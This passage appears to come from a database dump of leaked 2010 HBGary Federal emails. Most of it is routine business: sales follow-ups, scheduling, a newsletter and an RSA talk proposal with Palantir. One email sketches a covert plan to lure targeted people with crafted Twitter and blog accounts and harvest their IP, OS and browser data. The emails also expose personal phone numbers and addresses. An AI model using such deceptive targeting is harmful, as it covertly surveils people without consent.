oversight\r\n\r\nv Electronic\r\nmedical record and reporting with real-time access\r\n\r\nv Logistics/procurement,\r\ninventory and distribution\r\n\r\nv Occupational\r\nhealth and injury prevention\r\n\r\nv Basic\r\nemployment physicals and immunizations\r\n\r\nv Medical\r\nstaffing and recruitment services\r\n\r\nv Consulting\r\n\r\n\r\n\r\nv Emergency\r\nresponse\r\n\r\nv Military\r\nassisted evacuation\r\n\r\n \r\n\r\n \r\n\r\nPROFESSIONAL\r\nSTAFF:\r\n\r\n \r\n\r\nBackcountry Care International retains\r\nonly licensed medical\r\nprofessionals, ready to deploy at a moment’s notice. Our clinics\r\nand specialized field staff are highly trained and experienced in responding to\r\nmedical and war related emergencies, as well as providing general, occupational\r\nmedical support.\r\nAll\r\nclinicians are held to the highest industry standards and must meet stringent\r\nexperience criteria before hire. Depending on contract requirements, BCI\r\ndeploys: \r\n\r\nv\r\nPhysicians\r\n\r\n\r\nv\r\nNurse\r\nPractitioners \r\n\r\nv\r\nPhysician\r\nAssistants \r\n\r\nv\r\nCritical\r\nCare Emergency Nurses \r\n\r\nv\r\nNationally\r\nRegistered Paramedics \r\n\r\n \r\n\r\n \r\n\r\nPROJECT OBJECTIVES:\r\n\r\n \r\n\r\nv Provide health\r\nservices for all company employees, contractors and subcontractors in\r\nTheater. \r\n\r\nv Ensure that\r\nall regulatory requirements are fulfilled\r\n\r\nv Provide\r\ninitial training of health workers and continued medical education. \r\n\r\nv Strengthen\r\nhealth information systems in Theater. \r\n\r\nv Improve\r\ncollaboration among local diverse health organizations. \r\n\r\nv Promote\r\nnetworking and partnering with international health professionals and\r\ninstitutions.\r\n\r\nv Helping your\r\ncompany meet DOD requirements by providing medical care.\r\n\r\n \r\n\r\n \r\n\r\nCONCLUSION:\r\n\r\n \r\n\r\nBackcountry\r\nCare International can customize its global medical support services to meet\r\nthe demands of our clients. From emergency response to clinical oversight,\r\nBCI provides the most comprehensive medical services package. We operate and ensure a pro-active, hands-on approach\r\nto business and unyielding commitment to customer satisfaction. White papers\r\navailable on request. \r\n\r\n \r\n\r\nWe\r\nlook forward to hearing from you. \r\n\r\n \r\n\r\nRespectfully,\r\n\r\n \r\n\r\n \r\n\r\nLeslie\r\nJ.  Castañeda,  MSHS,  BSN,  RN\r\n\r\nExecutive\r\nPartner/ Operations Management\r\n\r\nBackcountry\r\nCare International, LLC\r\n\r\nPO\r\nBox 47409\r\n\r\nSeattle,\r\nWashington 98146\r\n\r\nOffice   \r\n206.402.6998\r\n\r\nCell      \r\n206.553.9984\r\n\r\nFax      \r\n206.708.6975\r\n\r\nljc.bci@live.com\r\n\r\nmedical.bci@live.com \r\n\r\nwww.backcountrycareinternational.com \r\n\r\n \r\n\r\nLEGAL CONFIDENTIAL: The information in this e-mail and in any\r\nattachment may contain information which is legally privileged. It is intended\r\nonly for the attention and use of the named recipient. If you are not the\r\nintended recipient, you are not authorized to retain, disclose, copy or\r\ndistribute the message and/or any of its attachments. If you received this\r\ne-mail in error, please notify me and delete this message. Thank-you.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3274,'aaron_hbgary_com/3274.html'),(8203,'2010-07-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006409.M629823P14101Q3058.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Software and training','Begin forwarded message:From: &quot;Tesch, John&quot; &lt;jtesch@coloradotech.edu&gt;\r\nDate: July 4, 2010 12:10:34 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: Software and training\r\nTed,Yes, very interested. I will get back to you on Monday. Happy 4th.John________________________________From: Ted Vera [ted@hbgary.com]\r\nSent: Friday, July 02, 2010 3:57 PMTo: Tesch, JohnSubject: Re: Software and trainingHi again John,Just wanted to follow-up on this - are you still interested?\r\nHope you have a happy 4th!TedOn Mon, Jun 14, 2010 at 2:49 PM, Ted Vera &lt;ted@hbgary.com&lt;mailto:ted@hbgary.com&gt;&gt; wrote:\r\nHi John,I have authorization to get your lab outfitted with our software andget you trained up on it. The DHS contract that provided free trainingfor leo&#39;s is over though, so I&#39;ll need to make other arrangements. Do\r\nyou have any budget available, we are a small business and can use allthe revenue we can get.Let me know what you think you can afford and I can write up a quote\r\nthat will meet your needs.Regards,Ted--Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n',1893,'aaron_hbgary_com/1893.html'),(8204,'2010-07-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006409.M888803P14101Q3059.eml','\"Aaron Barr\" <adbarr@mac.com>','22 Essential Social Media Resources You May Have Missed','22 Essential Social Media Resources You May Have Missed\r\n\r\nBefore you throw another firework on the grill — or whatever July 4th tradition you abide — take a few minutes to peruse this week’s batch of social, tech, and business resources that may have gone unnoticed during a busy week.\r\nBelow, find some gorgeous social media infographics, a reassessment of the traditional location-based strategy, and some great tips for business networking.Not enough to quench your thirst for Inter-knowledge? You can delve into our big list every weekend for more.\r\nP.S.: We don’t really recommend throwing fireworks on the grill…Social Media\r\nWhy Social Experience is the Future of Online Content While some proclaim that “content is king,” the overwhelming amount of it on the web is pushing more users toward well-packaged social experiences.\r\nThe Rise of Comedy on Twitter Is Twitter humor different from “traditional” humor? We spoke with some hilarious tweeters to get their take on what it means to get a laugh in the digital age.\r\nHOW TO: Rescue Your Blog From Social Isolation Let’s face it: You never really leave high school. The Internet realm is no different.\r\nHow the Gulf Coast Benefit is Using Social Media to Rally Support On July 1st, the Gulf Coast Benefit presented a series of fundraising concerts in more than 65 different venues across the U.S. Social media is a major player in the campaign.\r\nBeyond the Checkin: Where Location-Based Social Networks Should Go Next Simply checking-in is not enough to keep users engaged. Location networks have to move from creating services that are location-based to those that are “location-enhanced.”\r\n10 Beautiful Social Media Infographics Infographics help communicate information in a digestible manner as they creatively present data in an understandable and engaging format. Here are 10 infographics that prove as beautiful as they are interesting.\r\nHow Social Media is Changing the Way Government Does Business The traditional methods of obtaining and maintaining government contracts are full of red tape. Here are three ways social media is changing that.\r\nFor more social media news and resources, you can follow Mashable’s social media channel on Twitter and become a fan on Facebook.\r\nTech &amp; MobileWhat Twitter Places Means for the Future of Location\r\n The roll out of Twitter Places for all users has key implications for the future of location-based networking, and could finally bring the concept mainstream.15 Awesome Android Accessories \r\n To celebrate all that is Android we’ve pulled together a cool collection of Android-themed accessories from around the web.5 Unusual Ways to Use Apple’s iPad [VIDEOS]\r\n To celebrate the many diverse uses of the Apple tablet we’ve pulled together five fun clips that show people utilizing the iPad in extraordinary ways.5 Companies Reinventing the Way We Think About Mobile\r\n This post focuses on five companies that are changing mobile that you may not know by name, but certainly benefit from their continued innovation.Free Music Monday: 10 Free Tracks Are All Yours\r\n 10 free tracks in honor of the #musicmonday  tradition on Twitter.5 Fun Ways to Help Your Kids Learn Math Online Math doesn’t have to be a dull subject when it’s taught with music, games, and iPhone apps. Check out these 5 ways to keep your kids’ summer educational and fun.\r\n6 Brilliantly Designed Mobile Sites Here are six examples of brilliantly designed mobile websites, chosen from six different verticals.\r\n7 Hackathons Around the World and on the Web Do 48 straight hours of hardcore programming sound like a good time? Maybe in concept alone, which is why you should just read about these events in this post.\r\n10 Fun iPod Speakers for Listening in Style An iPod is only as good as its speakers, even if what matters to you is “cool factor” more than audio fidelity. This list will help you crank the volume in style.\r\nHow an iOS-Based Apple TV Could Change the Battle for the Living Room Apple may be planning to introduce a television product with iOS embedded into it, offering an out-of-the-box connected experience.\r\nFor more tech news and resources, you can follow Mashable’s tech channel on Twitter and become a fan on Facebook.\r\nBusinessHow Real Estate Pros are Using Social Media for Real Results\r\n Whether they are sharing videos, listings or advice with prospective buyers or sellers, real estate pros are using social media for real results.HOW TO: Better Serve the Social Media Customer\r\n Here’s a look at how each department can blend traditional and social media to drive business goals and collaborate on a seamless customer experience.6 Ways to Manage International Relationships Online\r\n Sometimes the hardest part of having international clients is finding a way to connect with them, despite different time zones, languages and customs.6 Challenges to Managing a Brand on the Social Web\r\n From the tools you use today to the ones you’ll need tomorrow, six social media experts tackle challenges to managing your brand on the social web.5 Rules for Professional Social Networking Success\r\n Social media has opened up fantastic new ways to make and keep professional connections. Here are five best practices for tapping in.For more business news and resources, you can follow Mashable’s business channel on Twitter and become a fan on Facebook.\r\nImage courtesy of iStockphoto, alengo, and Add to Design\r\nReviews: Android, Facebook, Mashable, Twitter, iStockphoto\r\nMore About: business, facebook, Features Week In Review, List, Lists, Mobile 2.0, small business, social media, tech, trending, twitter, youtube\r\nFor more Social Media coverage:Follow Mashable Social Media on Twitter\r\nBecome a Fan on FacebookSubscribe to the Social Media channel\r\nDownload our free apps for iPhone and iPad\r\n\r\n\r\n\r\n          \r\nSent from my iPad\r\n',9957,'aaron_hbgary_com/9957.html'),(8205,'2010-07-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006410.M112979P14101Q3060.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Crowd sourcing for information exploitation','Crafting subject twitter and blog accounts you could drive specific people to your blog not for exploitation through malware but to harvest personal information such as IP, OS, Browser, etc.\r\n\r\nUsing well crafted twitter hash tags and topics of interest  get specific people to follow account on twitter.  Run that for a bit, get a specific audience.  If there are a few that I want but didn\'t get follow them first which often leads to reciprocal following.  At some interval post blog entries, link on twitter, and harvest data, attempt to make correlations between twitter followers.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2131,'aaron_hbgary_com/2131.html'),(8206,'2010-07-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006410.M414186P14101Q3061.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','2pm EST on Wednesday','Are you and mark up for a demo of active defense on Wednesday to Mantech leadership or should I ask Penny for someone to support?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15456,'aaron_hbgary_com/15456.html'),(8207,'2010-07-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006410.M784997P14101Q3062.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Social Media Services Datasheet','I will finish this up today.Social Media ServicesInfoware and Information\r\nReconnaissance Sixty\r\nfive percent of Americans use social media services with nearly half using them\r\nmore than once per day. &nbsp;96% of Americans 18-35 use social media services.The explosive growth of social media has\r\ncreated a highly effective channel for the collection and aggregation of\r\npersonal and organizational information.&nbsp;\r\nTo engage in social media requires some level of personally identifiable\r\ninformation (PII) disclosure, in fact with most of these services the more information\r\nyou provide the more tailored and beneficial the experience.&nbsp; In most cases these are legitimate\r\nreasons for providing this information with tangible user benefits, whether it\r\nbe more personalized and localized advertising or tailored and real-time information\r\nto increase productivity.&nbsp;\r\nUnfortunately these same methods are being used to conduct information reconnaissance\r\nand exploitation.&nbsp; The most common\r\ncurrent examples are spear-fishing attacks.&nbsp; Future social media exploitation tactics will likely be applications\r\nand services that provide personal benefit or entertainment, but serve a dual\r\npurpose to collect information that can be used for more insidious\r\npurposes.&nbsp; This marks a new class\r\nof exploitation vehicles directly targeting people rather than the machines the\r\nuse, Infoware.&nbsp;Effective\r\nUseHBGary Federal staff is comprised of social\r\nmedia designers and developers as well as cybersecurity and malware experts to\r\nassist your organization in effective use of social media communications and\r\ncollaboration tools while maintaining a manageable security architecture.\r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n \r\n\r\n \r\n \r\n&nbsp;TrainingHBGary Federal provides a one-day social\r\nmedia familiarization and training course where we define &nbsp;Exposure\r\nMonitoringHBGary Federal can provide you information &nbsp;ExperienceHBGary Federal has exensive \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13714,'aaron_hbgary_com/13714.html'),(8208,'2010-07-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006411.M379178P14101Q3064.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: 2pm EST on Wednesday','Wed we are in SAC making a copy of TMC. How long a demo?\r\n\r\n\r\n\r\nOn Jul 5, 2010, at 7:55 AM, Aaron Barr  wrote:\r\n\r\n> Are you and mark up for a demo of active defense on Wednesday to Mantech leadership or should I ask Penny for someone to support?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',4557,'aaron_hbgary_com/4557.html'),(8209,'2010-07-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006411.M613852P14101Q3065.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Inquiry About The Irregular Warfare Consolidated Support','Begin forwarded message:From: matchalert@govwin.com\r\nDate: July 5, 2010 9:53:54 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: Inquiry About The Irregular Warfare Consolidated Support\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  govWin Match Alert \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Dear Ted:\r\n  \r\n  I saw you advertised interest in FedBizOpps to bid on Irregular Warfare\r\n  Consolidated Support.  We think we can help you form a\r\n  winning team on this opportunity and also connect you to other teaming and\r\n  subcontract opportunities. \r\n  \r\n  govWin is a network of small and large businesses coming together to better\r\n  serve the federal sector, and we specialize in helping diverse and qualified\r\n  companies form strong teams and win more business.\r\n  \r\n  With your permission, we would like to assist you in finding the teaming\r\n  partners to help you win this opportunity. All you have to do is respond to\r\n  this note.\r\n  \r\n  govWin was founded by former small business owners and we are just trying to\r\n  help make things like this easier and more successful. We are helping\r\n  companies every day like yours form winning teams and you can see how others\r\n  are benefiting now at http://govwin.com/public/help/about-mysbx#testimonials .\r\n\r\n  \r\n  Not only can we help find the most qualified teaming partners and help you\r\n  build the best possible team using govWin, we will also engage our govWin\r\n  Match Alert System to notify you about forming teams and subcontracts that\r\n  you can join and deliver on as well.\r\n  \r\n  If you would like to take advantage of this and bring the power of govWin to\r\n  bear on forming your team and winning more business - please just reply to\r\n  this note and we can get started.\r\n  \r\n  Thank you for your time - we hope we can be of help for this and others in\r\n  the future.\r\n  \r\n  Regards,\r\n  \r\n  govWin Match Alert Team\r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n  About this Message: You have\r\n  received this message because your company meets the requirements for a\r\n  business opportunity published by a member of govWin. If you would like to\r\n  unsubscribe from receiving potential business opportunities, please reply to\r\n  this email with the word &quot;unsubscribe&quot; in the message. \r\n  About Match Alert: Match Alert\r\n  keeps watch 24/7 on your behalf, and alerts you when teaming opportunities,\r\n  subcontract opportunities, resource demands, resource availability, and\r\n  companies or individual professionals matching your published requirements\r\n  are available. We deliver you the right matches at the right time.\r\n  About govWin: govWin is\r\n  the professional network where businesses exchange opportunities, resources,\r\n  and information, to win more business, expand capabilities, and increase\r\n  profitability. \r\n  Please\r\n  visit www.govwin.com to learn more. Send inquiries or help requests to the\r\n  govWin Support Team (help@govwin.com). Send ideas and suggestions to\r\n  Ideas@govwin.com.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3458,'aaron_hbgary_com/3458.html'),(8210,'2010-07-05','\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>','/aaron@hbgary.com/new/1297006411.M833364P14101Q3066.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussions','Aaron,\r\n\r\nGreat to meet in person, and thanks for making the time. Apologies for not getting back to you sooner but I went directly from our meeting into a five-day workshop with 70 of our field workers that we brought to Canada for an annual debrief.  It looks like I will be out in Colorado Springs Wednesday and Thursday of this week. I have a meeting on Thursday morning but otherwise I\'m still fairly free.  I will be meeting with NEK, and brokering an introduction at that time. Would it make sense to meet with any of your folks from   the Colorado Springs side of the shop.  Let me know  as I am making my bookings today.\r\n\r\nJennifer has been in touch, and I will be talking to her on Wednesday. Thank you for the introduction.\r\n\r\nI\'m looking ahead to see what we have coming up where we can pilot a collaboration at the operations or joint project level. More to come shortly.\r\n\r\nBest wishes,\r\n\r\nRafal\r\n\r\n\r\n\r\nOn Jun 25, 2010, at 9:41 AM, Aaron Barr wrote:\r\n\r\n> * PGP - S/MIME Signed by an unverified key: 6/25/10 at 9:41:16 AM\r\n> \r\n> Rafal,\r\n> \r\n> I am glad we got a chance to talk in person and very much look forward to working with SecDev.\r\n> \r\n> I gave your contact information to Jennifer Harrell from ExecutiveBiz who is managing the roster for the cyber group I mentioned, she should be in contact with you shortly.\r\n> \r\n> I think for the short term on IR engagements the easiest would be to use HBGary Federal services which come with the tools.  If there are specific opportunities for you that this model doesn\'t fit but you want to use the tools, let me know and I will work something out.  All of my current specialists have a background in operational IO (for context).\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> * Aaron Barr \r\n> * Issuer: \"VeriSign - Unverified\r\n\r\n',4766,'aaron_hbgary_com/4766.html'),(8211,'2010-07-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006411.M84580P14101Q3063.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','College Offering Digital Forensics Program','Maybe we should contact them to see if they would like to use our software and potential training?\r\n\r\nhttp://news.hostexploit.com/cyberwar-news/4105-vcc-adds-cybersecurity-digital-forensics.html\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2723,'aaron_hbgary_com/2723.html'),(8212,'2010-07-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006412.M281800P14101Q3068.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Social networks the movie','http://www.imdb.com/title/tt1285016/\r\n\r\nFrom my iPhone\r\n',15240,'aaron_hbgary_com/15240.html'),(8213,'2010-07-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006412.M55422P14101Q3067.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Discussions','From my iPhoneBegin forwarded message:From: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nDate: July 5, 2010 3:51:11 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\nSubject: Re: DiscussionsAaron,Great to meet in person, and thanks for making the time. Apologies for not getting back to you sooner but I went directly from our meeting into a five-day workshop with 70 of our field workers that we brought to Canada for an annual debrief.  It looks like I will be out in Colorado Springs Wednesday and Thursday of this week. I have a meeting on Thursday morning but otherwise I&#39;m still fairly free.  I will be meeting with NEK, and brokering an introduction at that time. Would it make sense to meet with any of your folks from   the Colorado Springs side of the shop.  Let me know  as I am making my bookings today.\r\nJennifer has been in touch, and I will be talking to her on Wednesday. Thank you for the introduction.I&#39;m looking ahead to see what we have coming up where we can pilot a collaboration at the operations or joint project level. More to come shortly.\r\nBest wishes,RafalOn Jun 25, 2010, at 9:41 AM, Aaron Barr wrote:\r\n* PGP - S/MIME Signed by an unverified key: 6/25/10 at 9:41:16 AMRafal,\r\nI am glad we got a chance to talk in person and very much look forward to working with SecDev.\r\nI gave your contact information to Jennifer Harrell from ExecutiveBiz who is managing the roster for the cyber group I mentioned, she should be in contact with you shortly.\r\nI think for the short term on IR engagements the easiest would be to use HBGary Federal services which come with the tools.  If there are specific opportunities for you that this model doesn&#39;t fit but you want to use the tools, let me know and I will work something out.  All of my current specialists have a background in operational IO (for context).\r\nAaron BarrCEOHBGary Federal Inc.\r\n* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign - Unverified\r\n',2691,'aaron_hbgary_com/2691.html'),(8214,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006412.M616808P14101Q3069.eml','\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>','Re: Discussions','Rafal,\r\n\r\nSorry for the delay today.  And thank you for the introduction to NEK, I am very interested to talk with them on what we might be able to do together in the tech ops area.  As luck would have it our Colorado Springs folks have been pulled in three different directions this week.  Ted Vera, President of HBGary Federal, is heading to Sacramento with our lead developer to take over the development of our Threat Monitoring Center (TMC) Appliance.  It is a volume malware processor where we are also doing a lot of malware fingerprint analysis.\r\n\r\nI should be finished with our marketing information on our social media services offerings and I will send it your way for discussion if there is any interest.\r\n\r\nLook forward to working together.\r\n\r\nAaron\r\n\r\nOn Jul 5, 2010, at 3:51 PM, Rafal Rohozinski wrote:\r\n\r\n> Aaron,\r\n> \r\n> Great to meet in person, and thanks for making the time. Apologies for not getting back to you sooner but I went directly from our meeting into a five-day workshop with 70 of our field workers that we brought to Canada for an annual debrief.  It looks like I will be out in Colorado Springs Wednesday and Thursday of this week. I have a meeting on Thursday morning but otherwise I\'m still fairly free.  I will be meeting with NEK, and brokering an introduction at that time. Would it make sense to meet with any of your folks from   the Colorado Springs side of the shop.  Let me know  as I am making my bookings today.\r\n> \r\n> Jennifer has been in touch, and I will be talking to her on Wednesday. Thank you for the introduction.\r\n> \r\n> I\'m looking ahead to see what we have coming up where we can pilot a collaboration at the operations or joint project level. More to come shortly.\r\n> \r\n> Best wishes,\r\n> \r\n> Rafal\r\n> \r\n> \r\n> \r\n> On Jun 25, 2010, at 9:41 AM, Aaron Barr wrote:\r\n> \r\n>> * PGP - S/MIME Signed by an unverified key: 6/25/10 at 9:41:16 AM\r\n>> \r\n>> Rafal,\r\n>> \r\n>> I am glad we got a chance to talk in person and very much look forward to working with SecDev.\r\n>> \r\n>> I gave your contact information to Jennifer Harrell from ExecutiveBiz who is managing the roster for the cyber group I mentioned, she should be in contact with you shortly.\r\n>> \r\n>> I think for the short term on IR engagements the easiest would be to use HBGary Federal services which come with the tools.  If there are specific opportunities for you that this model doesn\'t fit but you want to use the tools, let me know and I will work something out.  All of my current specialists have a background in operational IO (for context).\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> * Aaron Barr \r\n>> * Issuer: \"VeriSign - Unverified\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11622,'aaron_hbgary_com/11622.html'),(8215,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006412.M940619P14101Q3070.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: 2pm EST on Wednesday','As long or short as you can make it.  What do you think is a good amount of time?  They are already familiar with Responder and Recon.  We could probably do it in 30min?  Do you think you could support?\r\n\r\nAaron\r\n\r\nOn Jul 5, 2010, at 11:36 AM, Ted Vera wrote:\r\n\r\n> Wed we are in SAC making a copy of TMC. How long a demo?\r\n> \r\n> \r\n> \r\n> On Jul 5, 2010, at 7:55 AM, Aaron Barr  wrote:\r\n> \r\n>> Are you and mark up for a demo of active defense on Wednesday to Mantech leadership or should I ask Penny for someone to support?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13012,'aaron_hbgary_com/13012.html'),(8216,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006413.M199790P14101Q3071.eml','\"Geoff Stowe\" <gstowe@palantir.com>,\"Geoff Stowe\" <gstowe@palantir.com>,,,','Re: RSA proposal','I think so. &nbsp;Greg will be releasing at Blackhat this month a new fingerprinting tool where we can pull out common fingerprint variables from binaries very quickly. &nbsp;That along with the work we are doing to develop more sophisticated fingerprints I think we could tell some good stories. &nbsp;Lets maybe get together and discuss our options here. &nbsp;We are in the process of revamping our interface for the threat monitoring center (TMC) which is our volume malware processor which would allow us to go back and repull internals in large volume fairly quickly as we built out our visuals.AaronOn Jul 2, 2010, at 6:35 PM, Geoff Stowe wrote:Just wanted to revive this thread.&nbsp;&nbsp;Aaron – do you think there are topics we could collaborate on?&nbsp; When Aaron Zollman and I met with Greg in Sacramento a few months ago, we talked about things like looking for common indicators in your massive malware repository, and doing a deeper dive on some of the malware authors.&nbsp; Either of those topics would involve a fair amount of work, but we’d be willing to do some of the heavy lifting on the backend if it would produce some cool results.&nbsp;&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Thursday, June 24, 2010 1:45 PMTo:&nbsp;Aaron BarrCc:&nbsp;Eli Bingham; Shreyas Vijaykumar; Geoff Stowe; Aaron ZollmanSubject:&nbsp;RSA proposal&nbsp;Aaron,As we discussed, our proposal is as follows:&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir and HBGary (and maybe SecDev) tag team an RSA speakers submission (due July 9 btw) entitled something like, “Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the Problem Set” (horrible title I know)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The goal here would be to take a technical problem (maybe one of Greg’s or SecDev’s pet projects), present the technical findings in Part I of the prezo, then flip gears in Part II to present it as an Intelligence problem (using Palantir for the presentation)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We need to be careful to remove all marketing language from the submission as they apparently don’t take kindly to that·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We obviously have a ton of time to do the work which could be split between all of us (we could even set up a hosted Palantir instance to do the research a la Project Grey Goose)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We would want to play up our Intel community bona fides and your technical prowess/name brand&nbsp;My 4 colleagues CCed and myself are basically all of Palantir’s “Cyber Team”.&nbsp; I’ll now open this thread up for comments.&nbsp; If HBGary is in we can set up a quick brainstorming session.&nbsp;Best,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7823,'aaron_hbgary_com/7823.html'),(8217,'2010-07-06','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006413.M437410P14101Q3072.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Geoff Stowe\" <gstowe@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Geoff Stowe\" <gstowe@palantir.com>,','RE: RSA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCall for speakers is due this Friday: http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n&nbsp;\r\n\r\nWith the tight deadline might I suggest a VTC either today or\r\ntomorrow.&nbsp; I&#8217;ll host you in Tyson&#8217;s, Palantir can join from Palo Alto, maybe\r\nyou could get a volunteer to drive to Palo Alto from Sacramento (or if they\r\nhave VTC we can dial them in)?\r\n\r\n&nbsp;\r\n\r\nLet me know what times might work.&nbsp; We should get moving on this\r\nas the deadline is looming.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 05, 2010 11:09 PM\r\nTo: Geoff Stowe\r\nCc: Matthew Steckman; Eli Bingham; Shreyas Vijaykumar; Aaron Zollman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI think so. &nbsp;Greg will be releasing at Blackhat this\r\nmonth a new fingerprinting tool where we can pull out common fingerprint\r\nvariables from binaries very quickly. &nbsp;That along with the work we are\r\ndoing to develop more sophisticated fingerprints I think we could tell some\r\ngood stories. &nbsp;Lets maybe get together and discuss our options here.\r\n&nbsp;We are in the process of revamping our interface for the threat\r\nmonitoring center (TMC) which is our volume malware processor which would allow\r\nus to go back and repull internals in large volume fairly quickly as we built\r\nout our visuals.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 2, 2010, at 6:35 PM, Geoff Stowe wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust wanted to revive this thread.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; do you think there are topics we could collaborate\r\non?&nbsp; When Aaron Zollman and I met with Greg in Sacramento a few months\r\nago, we talked about things like looking for common indicators in your massive\r\nmalware repository, and doing a deeper dive on some of the malware\r\nauthors.&nbsp; Either of those topics would involve a fair amount of work, but\r\nwe&#8217;d be willing to do some of the heavy lifting on the backend if it would\r\nproduce 